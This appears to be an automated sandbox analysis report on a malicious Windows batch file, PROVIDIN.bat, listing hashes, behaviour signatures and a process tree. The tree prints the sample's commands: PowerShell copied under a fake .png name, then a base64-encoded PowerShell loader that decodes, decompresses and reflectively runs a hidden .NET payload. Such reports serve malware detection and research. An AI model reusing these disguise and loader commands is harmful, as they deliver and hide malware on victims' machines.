dcb68118ff92ef68102267b971bffaa30e3f2fad4ae70a2e9bb8cec676df7ca6

Resubmissions

26-08-2023 17:24

230826-vyq8xscc57 7

26-08-2023 17:20

230826-vwsnzaea6z 7

Analysis

max time kernel
1564s
max time network
1567s
platform
windows7_x64
resource
win7-20230712-en
resource tags

arch:x64arch:x86image:win7-20230712-enlocale:en-usos:windows7-x64system
submitted
26-08-2023 17:24

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General

Target

PROVIDIN.bat
Size

941KB
MD5

44e614f87ec86a7bf36c4e9e6255c69c
SHA1

5be290a0d38ee0082edad7f8b2a63eaa06ae4d05
SHA256

98cb4451f1bd561121d0ca74d5a114f7ed0b78dd82a748638b2b3c6eec741cf5
SHA512

bbdcdba3ca8ce9b801c517dfbfeb25c80fb97107694a4c26592e62f680cb50061ac772f509ff02c177adf465447ed2889f4114c10743d59327291c8ad0bd245c
SSDEEP

24576:LLLFoXm8uCm/0gzIKoudoQw2bsGtAXl4XH:nLFoDuj/nEKJsnl4XH

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
2832	Bjlxopqy.png

Loads dropped DLL 1 IoCs

pid	Process
2476	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2832	Bjlxopqy.png

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2832	Bjlxopqy.png

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 2468 wrote to memory of 2476	2468	cmd.exe	29
PID 2468 wrote to memory of 2476	2468	cmd.exe	29
PID 2468 wrote to memory of 2476	2468	cmd.exe	29
PID 2476 wrote to memory of 2884	2476	cmd.exe	31
PID 2476 wrote to memory of 2884	2476	cmd.exe	31
PID 2476 wrote to memory of 2884	2476	cmd.exe	31
PID 2476 wrote to memory of 2968	2476	cmd.exe	32
PID 2476 wrote to memory of 2968	2476	cmd.exe	32
PID 2476 wrote to memory of 2968	2476	cmd.exe	32
PID 2476 wrote to memory of 2988	2476	cmd.exe	33
PID 2476 wrote to memory of 2988	2476	cmd.exe	33
PID 2476 wrote to memory of 2988	2476	cmd.exe	33
PID 2476 wrote to memory of 3004	2476	cmd.exe	34
PID 2476 wrote to memory of 3004	2476	cmd.exe	34
PID 2476 wrote to memory of 3004	2476	cmd.exe	34
PID 2476 wrote to memory of 2832	2476	cmd.exe	35
PID 2476 wrote to memory of 2832	2476	cmd.exe	35
PID 2476 wrote to memory of 2832	2476	cmd.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\PROVIDIN.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2468
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\PROVIDIN.bat"
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:2476
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo F "
    3⤵
    PID:2884
- - C:\Windows\system32\xcopy.exe
    xcopy /d /q /y /h /i C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Bjlxopqy.png
    3⤵
    PID:2968
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo F "
    3⤵
    PID:2988
- - C:\Windows\system32\xcopy.exe
    xcopy /d /q /y /h /i C:\Users\Admin\AppData\Local\Temp\PROVIDIN.bat C:\Users\Admin\AppData\Local\Temp\Bjlxopqy.png.bat
    3⤵
    PID:3004
- - C:\Users\Admin\AppData\Local\Temp\Bjlxopqy.png
    C:\Users\Admin\AppData\Local\Temp\Bjlxopqy.png -win 1 -enc JABTAGQAdgBkAHAAbABrAHkAYQAgAD0AIABbAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABMAGkAbgBlAHMAKAAoACgAWwBTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoARwBlAHQAQwB1AHIAcgBlAG4AdABQAHIAbwBjAGUAcwBzACgAKQAuAE0AYQBpAG4ATQBvAGQAdQBsAGUALgBGAGkAbABlAE4AYQBtAGUAKQAuAFQAbwBTAHQAcgBpAG4AZwAoACkAIAArACAAIgAuAGIAYQB0ACIAKQAsACAAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgAKQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBsAGEAcwB0ACAAMQA7ACAAJABPAHgAcwBhAG8AZQBpAGoAbAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABTAGQAdgBkAHAAbABrAHkAYQApADsAJABUAGUAZgBzAGQAegAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAoACAALAAgACQATwB4AHMAYQBvAGUAaQBqAGwAIAApADsAJABvAHUAdABwAHUAdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQA7ACQATQBoAGIAeABjAHEAZQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAHoAaQBwAFMAdAByAGUAYQBtACAAJABUAGUAZgBzAGQAegAsACAAKABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQA7ACQATQBoAGIAeABjAHEAZQAuAEMAbwBwAHkAVABvACgAIAAkAG8AdQB0AHAAdQB0ACAAKQA7ACQATQBoAGIAeABjAHEAZQAuAEMAbABvAHMAZQAoACkAOwAkAFQAZQBmAHMAZAB6AC4AQwBsAG8AcwBlACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAgACQATwB4AHMAYQBvAGUAaQBqAGwAIAA9ACAAJABvAHUAdABwAHUAdAAuAFQAbwBBAHIAcgBhAHkAKAApADsAWwBBAHIAcgBhAHkAXQA6ADoAUgBlAHYAZQByAHMAZQAoACQATwB4AHMAYQBvAGUAaQBqAGwAKQA7ACAAJABTAHgAawBsAHQAdQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJABPAHgAcwBhAG8AZQBpAGoAbAApADsAIAAkAEQAZQBwAHYAeQByAG8AcgB1ACAAPQAgACQAUwB4AGsAbAB0AHUALgBHAGUAdABFAHgAcABvAHIAdABlAGQAVAB5AHAAZQBzACgAKQBbADAAXQA7ACAAJABVAGkAcQBhAGEAYgB1ACAAPQAgACQARABlAHAAdgB5AHIAbwByAHUALgBHAGUAdABNAGUAdABoAG8AZABzACgAKQBbADAAXQAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAIAAkAG4AdQBsAGwAKQAgAHwAIABPAHUAdAAtAE4AdQBsAGwA
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2832

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Bjlxopqy.png

Filesize
462KB

MD5
852d67a27e454bd389fa7f02a8cbe23f

SHA1
5330fedad485e0e4c23b2abe1075a1f984fde9fc

SHA256
a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

SHA512
327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

Download Submit
\Users\Admin\AppData\Local\Temp\Bjlxopqy.png

Filesize
462KB

MD5
852d67a27e454bd389fa7f02a8cbe23f

SHA1
5330fedad485e0e4c23b2abe1075a1f984fde9fc

SHA256
a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

SHA512
327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

Download Submit
memory/2832-9-0x000000001B2F0000-0x000000001B5D2000-memory.dmp

Filesize
2.9MB

Download
memory/2832-10-0x0000000001DE0000-0x0000000001DE8000-memory.dmp

Filesize
32KB

Download
memory/2832-11-0x000007FEF5610000-0x000007FEF5FAD000-memory.dmp

Filesize
9.6MB

Download
memory/2832-12-0x0000000002560000-0x00000000025E0000-memory.dmp

Filesize
512KB

Download
memory/2832-13-0x000007FEF5610000-0x000007FEF5FAD000-memory.dmp

Filesize
9.6MB

Download
memory/2832-14-0x0000000002560000-0x00000000025E0000-memory.dmp

Filesize
512KB

Download
memory/2832-15-0x0000000002560000-0x00000000025E0000-memory.dmp

Filesize
512KB

Download
memory/2832-16-0x0000000002560000-0x00000000025E0000-memory.dmp

Filesize
512KB

Download
memory/2832-17-0x000007FEF5610000-0x000007FEF5FAD000-memory.dmp

Filesize
9.6MB

Download